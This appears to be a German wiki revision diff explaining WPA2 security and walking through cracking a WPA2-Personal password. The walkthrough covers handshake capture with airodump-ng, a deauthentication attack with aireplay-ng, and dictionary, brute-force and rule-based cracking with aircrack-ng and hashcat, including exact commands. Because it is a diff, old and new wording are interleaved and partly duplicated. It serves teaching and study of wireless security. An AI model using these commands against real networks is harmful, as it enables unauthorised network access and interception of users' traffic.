WPA2-Angriff: Difference between revisions
WPA2-Gruppe (talk | contribs) |
WPA2-Gruppe (talk | contribs) (→WPA3) |
||
(135 intermediate revisions by the same user not shown) | |||
Line 1: | Line 1: | ||
WiFi Protected Access 2 (WPA2) ist ein Sicherheitsprotokoll zum Schützen drahtloser Heim- und Firmennetzwerke. Dabei wird durch WPA2 der gesamte Netzwerkverkehr der mit dem Netzwerk verbundenen Geräte verschlüsselt sowie weitere Vorkehrungen getroffen, sodass Angreifern das Eindringen in das Netzwerk erschwert wird. Der WPA2-Standard ist eine Erweiterung des Vorgängers WPA. Der Nachfolger des WPA2-Standards wird derzeit unter dem Namen WPA3 entwickelt. |
|||
WPA2 hat einige Sicherheitslücken, welche Angriffe auf das WLAN-Passwort des Zielrouters ermöglichen, sofern dieses zu schwach gewählt wurde. Dadurch kann der Angreifer Internetzugriff auf dem Router erhalten und hat die Möglichkeit, den Netzwerkverkehr von Nutzern zu entschlüsseln. |
|||
Mit dem Entwurf des neuen WPA3-Standards wurden bei der Suche nach weiteren Angriffsmöglichkeiten Sicherheitslücken innerhalb des von WPA/WPA2 verwendeten 4-Way-Handshakes gefunden. [https://hashcat.net/forum/thread-7717.html] |
|||
Dabei ermöglicht die Sicherheitslücke einen Brute-Force-Angriff auf das WLAN-Passwort des Zielrouters, sodass der Angreifer Internetzugang über den angegriffenen Router erhalten kann. |
|||
== Geschichte == |
== Geschichte == |
||
Auf Grund der Sicherheitsprobleme mit dem WEP- |
Auf Grund der Sicherheitsprobleme mit dem WEP-Sicherheits standard (Wired Equivalent Privacy) wurde ein Nachfolger gesucht. Ein nachfolgender Sicherheitsstandard war bereits in Arbeit, jedoch wurde eine Zwischenlösung notwendig. Aus diesem Grund wurde daher kurzfristig der WPA-Sicherheitsstandard verabschiedet und etabliert. Dieser sollte nur vorübergehend Verwendung finden, um mehr Zeit für Fertigstellung des anderen Sicherheitsstandards zu haben. Aus den Bemühungen, das symmetrische Verschlüsselungsverfahren Advanced Encryption Standard (AES) in WPA zu integrieren, entstand der aktuelle Sicherheitsstandard WPA2. Dieser wurde 2004 beschlossen und soll im Jahr 2019 endgültig von WPA3 abgelöst werden. |
||
== WPA2-Grundlagen == |
== WPA2-Grundlagen == |
||
WPA2 stellt einen Sicherheitsstandard zur |
WPA2 stellt einen Sicherheitsstandard zur Verschlüsselung des Netzwerkverkehrs in drahtlosen Netzwerken dar. Als Veschlüsselungsalgorithmus dient dabei der AES, welcher symmetrische Verschlüsselung ermöglicht. Zudem wird das vom Vorgänger verwendete Temporal Key Integrity Protocol (TKIP) weiterhin unterstützt. Zusätzlich wird das Counter Mode with Cipher Block Chaining Message Authentication Code Protocol (CCMP) verwendet. |
||
Zwei verschiedene Einsatzmodi werden durch WPA2 unterstützt. Zum einen den Personal Mode (WPA-PSK), welcher einen Pre-Shared Key (PSK) verwendet |
Zwei verschiedene Einsatzmodi werden durch WPA2 unterstützt. Zum einen den Personal Mode (WPA-PSK), welcher einen Pre-Shared Key (PSK) verwendet (im Allgemeinen auch als "WLAN-Passwort" bezeichnet), zum anderen den WPA Enterprise Mode, welcher einen Authentifizierungsserver zur Anmeldung im WLAN-Netzwerk verwendet. |
||
Zur Kommunikation der im Netzwerk vorhandenen Clienten werden |
Zur Kommunikation der im Netzwerk vorhandenen Clienten werden symmetrische Schlüssel verwendet. Dabei wird unterschieden zwischen Schlüsseln für Unicast-Verbindungen (zur Kommunikation zwischen zwei Parteien) und Multicast-Verbindungen (zur Kommunikation zwischen mehreren Parteien). Als Grundlage dient der Pairwise Master Key (PMK), aus welchem alle weiteren Schlüssel für die Kommunikation abgeleitet werden. |
||
=== WPA-Modi === |
=== WPA-Modi === |
||
WPA2 |
WPA2 unterstützt den WPA Personal Mode und den WPA Enterprise Mode, welche für unterschiedliche Anwendungszwecke designend wurden. |
||
==== |
==== WPA2 Personal Mode ==== |
||
Der Personal Mode verwendet zur |
Der Personal Mode verwendet zur Authentifizierung einen PSK. Dieser muss vor der Anmeldung eines Clienten am Access Point hinterlegt werden. Anschließend kann eine Verbindung mit dem Netzwerk mittels des entsprechenden PSKs aufgebaut werden. |
||
Dieser Modus ist zur Anwendung in privaten Netzwerken |
Dieser Modus ist zur Anwendung in privaten Netzwerken oder für kleinere Unternehmen vorgesehen und enthält nicht alle für WPA2 spezifizierten Features. Wird das (in der Regel statische) WLAN-Passwort zu schwach gewählt, wird das Netzwerk angreifbar gegenüber Brute-Force- oder Wörterbuch-Angriffen. |
||
==== WPA Enterprise Mode ==== |
|||
==== WPA2 Enterprise Mode ==== |
|||
Der Enterprise Mode ist zur Verwendung in großen Unternehmen gedacht und entspricht nahezu dem IEEE 802.11i-Standard. Einige Funktionalitäten, wie z. B. das Fast Roaming, fehlen jedoch. |
Der Enterprise Mode ist zur Verwendung in großen Unternehmen gedacht und entspricht nahezu dem IEEE 802.11i-Standard. Einige Funktionalitäten, wie z. B. das Fast Roaming, fehlen jedoch. |
||
Die Authentifizierung erfolgt im Enterprise Mode über einen gesonderten 802.1x/Radius-Server. Hier können sich Benutzer mit den ihnen zugewiesenen, persönlichen Benutzerdaten gegenüber dem Server authentifizieren. Möchte sich nun ein Client mit einem Access Point (AP) verbinden, wird zuerst nur der Authentifizierungsverkehr durch den AP durchgelassen. Ist die Authentifizierung gegenüber dem Radius-Server erfolgreich gewesen, bestätigt der Radius-Server dem AP die Rechtmäßigkeit der Anmeldung. Daraufhin |
Die Authentifizierung erfolgt im Enterprise Mode über einen gesonderten 802.1x/Radius-Server. Hier können sich Benutzer mit den ihnen zugewiesenen, persönlichen Benutzerdaten gegenüber dem Server authentifizieren. Möchte sich nun ein Client mit einem Access Point (AP) verbinden, wird zuerst nur der Authentifizierungsverkehr durch den AP zu Radius-Server durchgelassen. Ist die Authentifizierung gegenüber dem Radius-Server erfolgreich gewesen, bestätigt der Radius-Server dem AP die Rechtmäßigkeit der Anmeldung. Daraufhin generieren sowohl der Radius-Server als auch der Client den Master Key (MK). Aus dem MK wird nun auf beiden Seiten der PMK abgeleitet. Danach übermittelt der Radius-Server den PMK an den AP und der 4-Wege-Handshake wird durchgeführt. Sobald dieser erfolgreich abgeschlossen wurde, hat der Client Netzwerkzugriff. Bei fehlgeschlagener Authentifizierung teilt der Radius-Server dem AP dies mit. In diesem Fall verwehrt der AP dem Client den Netzwerkzugriff. |
||
Der Einsatz dieser Technik ermöglicht es mehrere APs zu betreiben, zwischen denen der Nutzer wechseln kann ohne dass eine Unterbrechung der Netzwerkverbindung entsteht. |
|||
Ein Vorteil des Enterprise Mode ist es, dass kein 4-Way-Handshake durchgeführt wird. Somit ist ein Angriff über die Sicherheitslücke des 4-Way-Handshakes im Enterprise Mode nicht möglich. |
|||
Die Ableitung des PMKs erfolgt jedes Mal mit einem neuen MK. Verbindungsanfragen an den AP können nur über den Radius Server erfolgen, wodurch die entsprechenden Pakete direkt durchgeleitet werden. |
|||
Dadurch ist es nicht möglich, durch das Abfangen von 4-Wege-Handshakes oder der PMKID in WPA2 Enterprise Mode geschützte Netzwerke einzudringen. |
|||
=== Schlüssel === |
=== Schlüssel === |
||
Sowohl für das Etablieren |
Sowohl für das Etablieren als auch für die spätere Kommunikation werden verschiedenste Schlüssel verwendet. Dabei handelt es sich um synchrone Verschlüsselungen, d. h. beide Parteien verwenden die gleichen Schlüssel. |
||
==== Pre-Shared Key ==== |
==== Pre-Shared Key ==== |
||
Der Pre-Shared Key ist das vom |
Der Pre-Shared Key (PSK) ist das vom Netzwerkbesitzer am Router festgelegte Passwort, welches dem Nutzern über andere Wege mitgeteilt wird (z. B. mündlich). Dabei handelt es sich um ein Shared Secret, welches für den Zugang zum Netzwerk benötigt wird. Der PSK wird nur im Personal Mode benötigt. |
||
==== Pairwise Master Key ==== |
==== Pairwise Master Key ==== |
||
Der Pairwise Master Key (PMK) wird über die Password Based Key Derivation Function 2 (PBKDF2) berechnet. Im Personal Mode werden dabei als Argumente der PSK, die ESSID (Netzwerkname) des AP und die Länge der ESSID verwendet. Im Enterprise Mode wird der PMK temporär durch das Protokoll des Authentifizierungsserver gestellt. Der PMK wird zur Ableitung |
Der Pairwise Master Key (PMK) wird über die Password Based Key Derivation Function 2 (PBKDF2) berechnet. Im Personal Mode werden dabei als Argumente der PSK, die ESSID (Netzwerkname) des AP und die Länge der ESSID verwendet. Im Enterprise Mode wird der PMK temporär durch das Protokoll des Authentifizierungsserver gestellt. Der PMK wird zur Ableitung des Pairwise Transient Keys (PTK) verwendet. |
||
==== Pairwise Transient Key ==== |
==== Pairwise Transient Key ==== |
||
Der Pairwise Transient Key (PTK) wird während des 4- |
Der Pairwise Transient Key (PTK) ist 512 Bit lang und wird während des 4-Wege-Handshakes über eine Pseudozufallsfunktion (Pseudo Random Function = PRF) berechnet. Von ihm werden die temporären Schlüssel für die laufende Verschlüsselung der Nachrichten abgeleitet. Dazu wird der PTK in mehrere Teile zerlegt. Diese sind: |
||
* der Key Confirmation Key (KCK, 128 Bits) - Für die Berechnung der Message Intergrity Codes (MIC) während des 4-Wege-Handshakes |
|||
* der Key Encryption Key(KEK, 128 Bits) - Zur Sicherstellung der Vertraulichkeit während des 4-Wege-Handshakes |
|||
* der Temporary Key (TK, 128 Bits) - Für die Verschlüsselung der Daten zwischen Client und AP |
|||
* der Temporary MIC Key AP (MIC Tx, 64-bit) - Zur Generierung der MIC über AP-seitige Pakete |
|||
* und der Temporary MIC Key Client (MIC Rx, 64 Bit) - Zur Generierung der MIC über Client-seitige Pakete |
|||
Der PTK wird für die Unicast-Kommunikation zwischen genau 2 Clienten verwendet und kann in regelmäßigen Abständen von ca. einer Stunde erneuert werden. |
|||
==== Groupwise Transient Key ==== |
==== Groupwise Transient Key ==== |
||
Der |
Der Groupwise Transient Key (GTK) wird wie der PTK während des 4-Wege-Handshakes berechnet. Im Gegensatz zum PTK dient der GTK zur Multicast-Kommunikation zwischen mehreren Clienten. |
||
Die Wahl des Schlüssels erfolgt durch den AP. Durch die Wahl einer zufälligen GNonce durch den Server erhält jeder Client einen eigenen GTK. |
|||
=== 4-Wege-Handshake === |
|||
[[File:4-Way-Handshake.png|thumb|right|4-Wege-Handshake]] |
|||
Der 4-Wege-Handshake wird zur Etablierung des gemeinsamen PTKs und des GTKs verwendet, mit welchen der Netzwerkverkehr verschlüsselt wird. |
|||
[[File:4-Way-Handshake.png|thumb|right|4-Way-Handshake]] |
|||
Dabei werden vier Nachrichten zwischen Client und AP ausgetauscht. Der Handshake verwendet dazu das Extensible Authentication Protocol over Lan (EAPOL). |
|||
Im Folgenden werden die einzelnen Schritte erklärt: |
|||
# Erste Nachricht: Der AP sendet eine von ihm generierte Zufallszahl ''ANonce'' an den Clienten. |
|||
Der 4-Way-Handshake wird zur Etablierung des gemeinsamen PTKs und des GTKs verwendet, mit denen der Netzwerkverkehr verschlüsselt wird. Die Schlüssel werden dabei vom Pairwise Master Key abgeleitet. |
|||
# Der Client würfelt ebenfalls eine Zufallszahl ''SNonce'' und berechnet den PTK. Dieser wird wie folgt berechnet: |
|||
#: <code>PTK = PRF(PMK + ANonce + SNonce + MAC-Adresse AP + MAC-Adresse Client)</code> |
|||
# Zweite Nachricht: Der Client schickt seine ''SNonce'' und einen Message Integrity Code (MIC) über den Inhalt der zweiten Nachricht an den AP. |
|||
# Der AP berechnet ebenfalls den PTK und leitet daraus die weiteren temporären Schlüssel ab. Diese werden dazu verwendet, den mitgesendeten MIC zu überprüfen. |
|||
# Dritte Nachricht: Der AP übermittelt den GTK, die GTK-Sequenznummer sowie den zugehörigen MIC an den Clienten. Teile des PTK (der KEK) werden dazu verwendet, den GTK zu verschlüsseln. |
|||
# Vierte Nachricht: Der Client bestätigt den GTK, indem er die GTK-Sequenznummer und einen entsprechenden MIC an den AP sendet. Der AP überprüft den MIC und installiert den GTK. |
|||
== Angriffsarten == |
|||
Der 4-Way-Handshake besteht dabei aus vier ausgetauschten Nachrichten zwischen Client und AP. Danach ist die Etablierung der benötigten Schlüssel abgeschlossen. Der Handshake verwendet dazu das Extensible Authentication Protocol over Lan (EAPOL). Im Folgenden werden die einzelnen Schritte des Handshakes erklärt: |
|||
Für den Angriff auf den WPA2 Personal Mode können verschiedene Methoden verwendet werden. Die Grundidee ist hierbei immer den PSK zu erraten. Falls er vom Besitzer/Betreiber des Netzwerkes zu schwach gewählt wurde, sind nur wenige Versuche notwendig. |
|||
Brute-Force-Angriffe stellen hierbei die simpelste Angriffsvariante da. Dabei werden alle möglichen Kombinationen ausgetestet, bis das richtige Passwort gefunden wurde. Jedoch gibt weitere Angriffsmethoden, welche potenziell schneller das richtige Ergebnis liefern. |
|||
==== Wörterbuchangriff ==== |
|||
# Erste Nachricht: Der AP sendet eine von ihm genrierte Zufallszahl ''ANonce'' an den Clienten. |
|||
Für den Wörterbuchangriff wird eine Passwortliste benötigt. Diese Listen enthalten z. B. Passwörter, welche durch vorherige Angriffe aller Art herausgefunden wurden, bzw. welche reale Benutzer bei verschiedensten Diensten oft verwendet haben. |
|||
# Der Client generiert ebenfalls eine Zufallszahl ''SNonce'' und berechnet den PTK. Dieser wird wie folgt berechnet: |
|||
Es wird nun jedes Passwort dieser Liste als PSK ausprobiert. Ist das Passwort in der Liste enthalten, wird der Angriff auf kurz oder lang erfolgreich sein. Andernfalls bleibt der Wörterbuchangriff erfolglos. |
|||
#: <code>PTK = PMK + ANonce + SNonce + MAC-Adresse AP + MAC-Adresse Client</code> |
|||
Passwortlisten können online heruntergeladen, eine frei zugängliche ist z.B unter https://github.com/danielmiessler/SecLists/tree/master/Passwords zu finden. Alternativ können auch Wörterbücher oder selbst generierte Listen (z. B. aus den Permutationen von anderen Listen erstellt) werden. Verbreitete Tools zum selber generieren sind John the Ripper (https://www.openwall.com/john/) und der Crunch Wordlist Generator (https://sourceforge.net/projects/crunch-wordlist/). |
|||
# Zweite Nachricht: Der Client schickt seine ''SNonce'' und einen Message Integrity Code über die SNonce MIC(SNonce) an den AP. |
|||
# Der AP berechnet nun ebenfalls den PTK und leitet nun daraus die weiteren temporären Schlüssel ab. Diese werden dazu verwendet, die mitgesendete MIC zu überprüfen. |
|||
# Dritte Nachricht: Der AP übermittelt nun den GTK sowie den MIC(GTK) an den Clienten. Der GTK wird dabei durch den PMK verschlüsselt. |
|||
# Vierte Nachricht: Der Client überträg nun ebenfalls durch den PMK verschlüsselt den MIC(GTK) an den AP zurück. Der AP überprüft nun, ob der erhaltene MIC mit dem von ihm versendeten MIC übereinstimmt. Ist dies der Fall, wurde der GTK nicht manipuliert und die verschlüsselte Übertragung kann beginnen. |
|||
==== Reguläre Ausdrücke ==== |
|||
== Brute-Force-Angriff == |
|||
Einige Tools lassen die Verwendung von regulären Ausdrücken bei Brute-Force-Angriffen zu. Hierbei muss mittels eines regulären Ausdrucks eine Vermutung über das Passwort angestellt werden, z.B. die Länge, die verwendeten Zeichen etc. Anschließend werden alle möglichen Kombinationen für den regulären Ausdruck berechnet. Dies ist für den Angreifer sehr rechenaufwendig und kann gerade bei starken Passwörtern sehr lange dauern. |
|||
Mittels des Brute-Force-Angriffs versucht der Angreifer das Zugangs-Passwort eines WLAN-Netzwerks, welches WPA-PSK verwendet, zu erhalten. Dazu muss der Angreifer lediglich einen EAPOL-Frame, d. h. eine Nachricht des 4-Way-Handshakes, der bei der Verbindung eines Gerätes mit dem Access Point durchgeführt wird, mitschneiden. Der Mitschnitt enthält dabei den Pairwise Master Key Identifier (PMKID), welcher für den Angriff benötigt wird. Der PMKID setzt sich dabei wie folgt zusammen: |
|||
==== Regelbasierter Angriff ==== |
|||
Der regelbasierte Angriff ist eine spezielle Art des Wörterbuchangriffs. Hierbei werden nach bestimmten Regeln Permutationen der in der Liste enthaltenen Passwörter generiert. |
|||
== Angriff über den 4-Wege-Handshake== |
|||
<code>PMKID = HMAC-SHA1-128(PMK, ESSID | BSSID | MAC Client)</code> |
|||
Mittels des Brute-Force-Angriffs versucht der Angreifer das Zugangs-Passwort eines WLAN-Netzwerks, welches WPA-PSK verwendet, zu erhalten. Dazu muss der Angreifer einen erfolgreich durchgeführten 4-Wege-Handshake mitschneiden, der bei der Verbindung eines Gerätes mit dem Access Point durchgeführt wird. Daraufhin erfolgt der Brute-Force-Angriff über den durch den 4-Wege-Handshake etablierten PTK und die in der zweiten oder dritten Nachricht übertragene MIC. |
|||
Wurden alle notwendigen Daten ermitellt, kann der Brute-Force-Angriff auf den PMK durchgeführt werden. |
|||
=== Angriff === |
=== Angriff === |
||
Line 84: | Line 104: | ||
# Informationen über den anzugreifenden Access Point sammeln (ESSID, BSSID, Channel). |
# Informationen über den anzugreifenden Access Point sammeln (ESSID, BSSID, Channel). |
||
# Einen |
# Einen erfolgreichen 4-Wege-Handshake mitschneiden |
||
#* Deauthentifizierungs-Angriff |
#* Deauthentifizierungs-Angriff |
||
# Brute-Force-Angriff auf den mitgeschnitten 4- |
# Brute-Force-Angriff auf den mitgeschnitten 4-Wege-Handshake |
||
Um den Angriff erfolgreich ausführen zu können, muss zuerst der anzugreifende Access Point ausgewählt werden. Dazu muss die Netzwerkkarte des Angreifers in den Monitoring-Modus versetzt werden. Ist dies geschehen, kann der ESSID des Access Points, |
Um den Angriff erfolgreich ausführen zu können, muss zuerst der anzugreifende Access Point ausgewählt werden. Dazu muss die Netzwerkkarte des Angreifers in den Monitoring-Modus versetzt werden. Ist dies geschehen, kann der Extended Service Set Identifier (ESSID) des Access Points, der Basic Service Set Identifier (BSSID) des Access Points sowie der Channel (Funkkanal) ermittelt werden. Wurden die benötigten Informationen gesammelt, kann somit der Netzwerkverkehr zwischen dem Access Point und anderen Geräten gezielt abgehört werden. |
||
Im zweiten Schritt wird mittels der zuvor gesammelten Informationen die Kommunikation des Access Points belauscht. Es muss solange gewartet werden, bis ein neues Gerät in das WLAN-Netzwerk aufgenommen und dadurch |
Im zweiten Schritt wird mittels der zuvor gesammelten Informationen die Kommunikation des Access Points belauscht. Es muss solange gewartet werden, bis ein neues Gerät erfolgreich in das WLAN-Netzwerk aufgenommen und dadurch der 4-Wege-Handshake durchgeführt wird. |
||
Dauert es zu lange, bis sich ein neues Gerät mit dem AP verbinden möchte, kann ein Deauthentifizierungs-Angriff durchgeführt werden. Dabei wird über die Netzwerkkarte des Angreifers die Reauthentifizierung aller mit dem anzugreifenden AP verbundenen Geräte erzwungen. Es besteht bei diesem Vorgehen jedoch eine Chance, durch die Benutzer des Netzwerks bemerkt zu werden. |
Dauert es zu lange, bis sich ein neues Gerät mit dem AP verbinden möchte, kann ein Deauthentifizierungs-Angriff durchgeführt werden. Dabei wird über die Netzwerkkarte des Angreifers die Reauthentifizierung aller mit dem anzugreifenden AP verbundenen Geräte erzwungen. Es besteht bei diesem Vorgehen jedoch eine Chance, durch die Benutzer des Netzwerks bemerkt zu werden. |
||
Im dritten Schritt wird der Brute-Force-Angriff durchgeführt. Folgende Informationen sind nun vorhanden: |
Im dritten Schritt wird der Brute-Force-Angriff durchgeführt. Folgende Informationen sind nun durch den Handshake vorhanden: |
||
* |
* ANonce |
||
* SNonce |
|||
* MAC Client |
|||
* BSSID |
* BSSID |
||
* MAC Client |
|||
* PMKID |
|||
Es fehlt somit nur noch der verwendete PMK, um einen PTK zu berechnen. Um diesen zu erhalten, wird ein Brute-Force-Angriff ausgeführt, bei dem der PMK geraten wird. Mit dem geratenen PMK und den bereits vorhandenen Informationen lässt sich nun ein PTK berechnen und die Schlüssel MIC Tx und MIC Rx können abgeleitet werden. Anschließend muss die MIC über die SNonce oder den GTK berechnet werden. Stimmt diese mit der mitgeschnittenen MIC des 4-Wege-Handshakes überein, wurde der richtige PMK gefunden. Aus dem PMK kann der PSK berechnet werden. Damit wurde Passwort gefunden und der Angriff ist beendet. |
|||
Es fehlt somit nur noch der verwendete PMK. Dieser PMK kann nun durch den Angriff erraten werden, indem mittels des oben vorgestellten Verfahrens zur Berechnung der PMKID versucht wird, eine Hash-Kollision zu finden. Wurde für einen geratenen PMK eine Kollision festgestellt, ist der Angriff beendet und das Zugangs-Passwort gefunden. Der Brute-Force-Angriff lässt sich, je nach Tool / Programmierung, auf mehrere verschiedene Weisen durchführen - als Wöterbuch-Angriff, als regelbasierter WörtebBuch-Angriff oder über reguläre Ausdrücke. |
|||
=== Angriffsarten === |
|||
==== Wörterbuchangriff ==== |
|||
Für den Wörterbuchangriff wird z.B. eine Passwortliste benötigt. Diese Listen enthalten durch Angriffe aller Art erhaltene Passwörter, welche durch reale Benutzer bei verschiedensten Diensten benutzt werden. Es wird nun jedes Passwort dieser Liste ausprobiert. Ist das Passwort in der Liste enthalten, kann ein effizienter Brute-Force-Angriff durchgeführt werden. Ist das Passwort jedoch nicht in der Liste enthalten, bleibt der Wörterbuchangriff erfolglos. |
|||
Passwortlisten können online heruntergeladen, eine frei zugängliche ist z.B unter https://github.com/danielmiessler/SecLists/tree/master/Passwords zu finden. Als Alternative dienen auch Wörterbücher oder selbstgenerierte Listen. |
|||
==== Reguläre Ausdrücke ==== |
|||
Einige Tools lassen die Verwendung von regulären Ausdrücken für Brute-Force-Angriffe zu. Hierbei muss mittels eines regulären Ausdrucks eine Vermutung über das Passwort angestellt werden, z.B. die Länge, die verwendeten Zeichen etc. Anschließend werden alle möglichen Kombinationen für den regulären Ausdruck berechnet. Dies ist für den Angreifer sehr rechenaufwändig, und kann gerade bei starken Passwörtern sehr lange dauern. |
|||
==== Regelbasierter Angriff ==== |
|||
Der regelbasierte Angriff ist eine spezielle Art des Wörterbuchangriffs. Hierbei werden nach bestimmten Regeln Permutationen der in der Liste enthaltenen Passwörter generiert, welche ebenfalls als PMK probiert werden. |
|||
=== Wörterbuchangriff mit AirCrack unter Linux === |
=== Wörterbuchangriff mit AirCrack unter Linux === |
||
Line 120: | Line 128: | ||
# AirCrack installieren: <code>$ sudo apt install aircrack-ng</code> |
# AirCrack installieren: <code>$ sudo apt install aircrack-ng</code> |
||
# Die WLAN-Karte muss den Monitor-Modus unterstützen. Dies kann mittels <code>$ iw list</code> getestet werden. |
# Die WLAN-Karte muss den Monitor-Modus unterstützen. Dies kann mittels <code>$ iw list</code> getestet werden. <br/>Unter dem Punkt <code>Supported interfaces</code> sollte der Unterpunkt <code>monitor</code> für die zu verwendende Netzwerkkarte aufgeführt sein. Falls die Interface den Modus nicht unterstützt, kann ein WiFi-Stick als Ausweich-Interface verwendet werden. |
||
# Eine Passwortliste muss lokal vorhanden sein. |
|||
Unter dem Punkt "Supported interfaces" sollte der Unterpunkt "monitor" für die zu verwendende Netzwerkkarte aufgeführt sein. |
|||
Falls die Interface den Modus nicht unterstütz, kann ein WIFI Stick als Ausweich-Interface verwendet werden. |
|||
# Es muss eine Passwortliste lokal vorhanden sein. |
|||
WICHTIG: Wurde die neueste Version von AirCrack <code>aircrack-zc</code> installiert, sind |
WICHTIG: Wurde die neueste Version von AirCrack <code>aircrack-zc</code> installiert, sind alternative Kommandos für den Angriff zu verwenden, da ansonsten die Monitoring-Schnittstelle nicht vollständig geöffnet wird. Dies ist besonders relevant, wenn AirCrack auf einem neueren Ubuntu-basierten Betriebssystem verwendet wird. |
||
==== Vorbereitung ==== |
==== Vorbereitung ==== |
||
Line 208: | Line 214: | ||
</pre> |
</pre> |
||
Alternativ: |
|||
<code>$ sudo airodump-zc wlan0mon</code> |
|||
Nachdem der anzugreifende Access Point gefunden wurde, kann das Programm mit Strg + C abgebrochen werden. Nun haben wir die ersten notwendigen Informationen über den anzugreifenden Access Point erhalten, in diesem Fall: |
Nachdem der anzugreifende Access Point gefunden wurde, kann das Programm mit Strg + C abgebrochen werden. Nun haben wir die ersten notwendigen Informationen über den anzugreifenden Access Point erhalten, in diesem Fall: |
||
Line 219: | Line 222: | ||
2. Mitschneiden des 4- |
2. Mitschneiden des 4-Wege-Handshakes |
||
Nachdem nun alle notwendigen Informationen vorhanden sind, muss ein EAPOL-Frame des 4- |
Nachdem nun alle notwendigen Informationen vorhanden sind, muss ein EAPOL-Frame des 4-Wege-Handshakes mitgeschnitten werden. Dieser wird automatisch in einer .cap-Datei gespeichert. |
||
<pre> |
<pre> |
||
Line 238: | Line 241: | ||
</pre> |
</pre> |
||
Alternativ: |
|||
<code>$ sudo airodump-ng --bssid 12:34:56:78:9A:BC -c 11 --write Logdatei wlan0mon </code> |
|||
Wurde ein Handshake aufgenommen, erscheint oben rechts die Anzeige <code>[WPA handshake:</code>. Ist dies erfolgt, kann das Programm mit Str + C abgebrochen werden. |
Wurde ein Handshake aufgenommen, erscheint oben rechts die Anzeige <code>[WPA handshake:</code>. Ist dies erfolgt, kann das Programm mit Str + C abgebrochen werden. |
||
Wird lange Zeit kein neuer Client mit dem Access Point verbunden, kann eine Deauthentifizierungs-Attacke durchgeführt werden. Durch diese Art von Angriff werden alle bereits verbundenen Clienten dazu gezwungen, sich bei dem Access Point |
Wird lange Zeit kein neuer Client mit dem Access Point verbunden, kann eine Deauthentifizierungs-Attacke durchgeführt werden. Durch diese Art von Angriff werden alle bereits verbundenen Clienten dazu gezwungen, sich bei dem Access Point neu zu authentifizieren, was hoffentlich zur Durchführung neuer Handshakes führt. Jedoch kann diese Art von Angriff durch den Benutzer bemerkt werden. Um den Angriff auszuführen, kann folgender Befehl verwendet werden: |
||
<code>$ sudo aireplay-ng --deauth 100 -a 12:34:56:78:9A:BC wlan0mon</code> |
<code>$ sudo aireplay-ng --deauth 100 -a 12:34:56:78:9A:BC wlan0mon</code> |
||
Line 251: | Line 251: | ||
3. Brute-Force-Angriff |
3. Brute-Force-Angriff |
||
Die im vorherigen Schritt erzeugte Logdatei-01.cap enthält nun einen EAPOL-Frame des 4- |
Die im vorherigen Schritt erzeugte Logdatei-01.cap enthält nun einen EAPOL-Frame des 4-Wege-Handshakes mit allen notwendigen Informationen (ESSID, BSSID, MAC Client und MAC AP). Mit diesen Informationen kann der Brute-Force-Angriff durchgeführt werden, indem der fehlende PMK geraten wird. Die Ausgabe erfolgt in Plaintext. |
||
<pre> |
<pre> |
||
Line 275: | Line 275: | ||
</pre> |
</pre> |
||
=== Angriff mit HashCat unter Windows === |
|||
== Verbesserungen in WPA3 == |
|||
WPA3 ist der Nachfolger von WPA2. Der Standard wurde Anfang 2018 angekündigt und soll 2019 in den ersten Geräten vorhanden sein. |
|||
Dabei wurden einige Verbesserungen gegenüber WPA2 gemacht, die auch Brute-Force-Attacken wie den Offline-Wörterbuchangriff verhindern sollen. |
|||
Dabei wird der WPA2 4-Wege-Handshake beibehalten, zusätzlich aber ein SAE Handshake vorgeschoben. Der SAE Handshake etabliert dabei einen neuen PMK. Bei WPA2 ist der PMK für den 4-Wege-Handshake der zuvor geteilte statische Schlüssel (WLAN-Passwort). |
|||
====1. Handshake in einer .cap-Datei aufzeichnen==== |
|||
=== Schritte des SAE Handshakes=== |
|||
Über CommView oder Wireshark kann man mit einer geeigneten WiFi-Karte leicht einen 4-Wege-Handshake mitschneiden. Einen 4-Wege-Handshake erkennt man an aufgezeichneten EAPOL-Frames (siehe Bild). |
|||
Im Folgenden sind die einzelnen Schritte des SAE Handshakes beschrieben: |
|||
#Jede Seite wählt sich ein Passwort anhand der Parameter ''eigenen Identität'', ''Identität des anderen'', ''Pre-Shared Password'' und ''Random Seed''. |
|||
[[File:Cap-Datei.png]] |
|||
# Jede Seite wählt 2 Zufallszahlen ( ''rand'' und ''mask'') und berechnet daraus ein Element ''elem'' und eine Skalenwert ''skal''. |
|||
ALTERNATIV kann man sich über <code>netsh wlan show networks mode=bssid</code> alle verfügbaren Netzwerke mit der jeweiligen BSSID anzeigen lassen. |
|||
<pre> |
|||
... |
|||
SSID 17 : HackMe! |
|||
Netzwerktyp : Infrastruktur |
|||
Authentifizierung : WPA2-Personal |
|||
Verschlüsselung : CCMP |
|||
BSSIDD 1 : 12:34:56:78:9A:BC |
|||
Signal : 82% |
|||
Funktyp : 802.11ac |
|||
Kanal : 11 |
|||
Basisraten (MBit/s) : 1 2 5.5 6 11 12 24 |
|||
Andere Raten (MBit/s) : 9 18 36 48 54 |
|||
... |
|||
</pre> |
|||
Über <code>airodump-ng -c9 --bssid 12:34:56:78:9A:BC -w psk HackMe!</code> kann man dann ebenfalls einen 4-Wege-Handshake mitschneiden. |
|||
====2. .cap-Datei in HashCat-lesbare .hccapx-Datei umwandeln==== |
|||
Die Umwandlung kann auf verschieden Arten erfolgen: Entweder über das Web-Interface von HashCat (https://hashcat.net/cap2hccapx/) oder lokal über <code>cap2hccapx</code> aus den hashcat-utils (https://github.com/hashcat/hashcat-utils). |
|||
====3. Passwort über HashCat herausfinden==== |
|||
3 verschiedene Angriffsarten: |
|||
1. Wörterbuchangriff: |
|||
Zunächst brauch man ein Wörterbuch wie z.B. RockYou (http://downloads.skullsecurity.org/passwords/rockyou.txt.bz2). Mit folgender Batch-Datei kann man dann das WiFi-Passwort hacken: |
|||
<pre> |
|||
$ hashcat.exe -m 2500 capture.hccapx rockyou.txt |
|||
</pre> |
|||
Das Prädikat <code>-m 2500</code> steht hierbei für den Hash-Modus WPA-EAPOL-PBKDF2. |
|||
2. Brute-Force Attack: |
|||
Mit der folgenden Batch-Datei kann man Passwörter der Länge 8 hacken, die nur aus Ziffern (?d) bestehen. |
|||
<pre> |
|||
$ hashcat.exe -m 2500 -a3 capture.hccapx ?d?d?d?d?d?d?d?d |
|||
</pre> |
|||
Das Prädikat <code>-a3</code> steht hierbei für den Brute-Force-Attack-Modus. |
|||
3. Regelbasierter Angriff: |
|||
Mit folgendem regelbasierten Angriff kann man die in der Wörterbuchliste enthaltenen Wörter auf beliebige Weise permutieren. |
|||
<pre> |
|||
$ hashcat.exe -m 2500 -r rules/best64.rule capture.hccapx rockyou.txt |
|||
</pre> |
|||
==PMKID-Angriff== |
|||
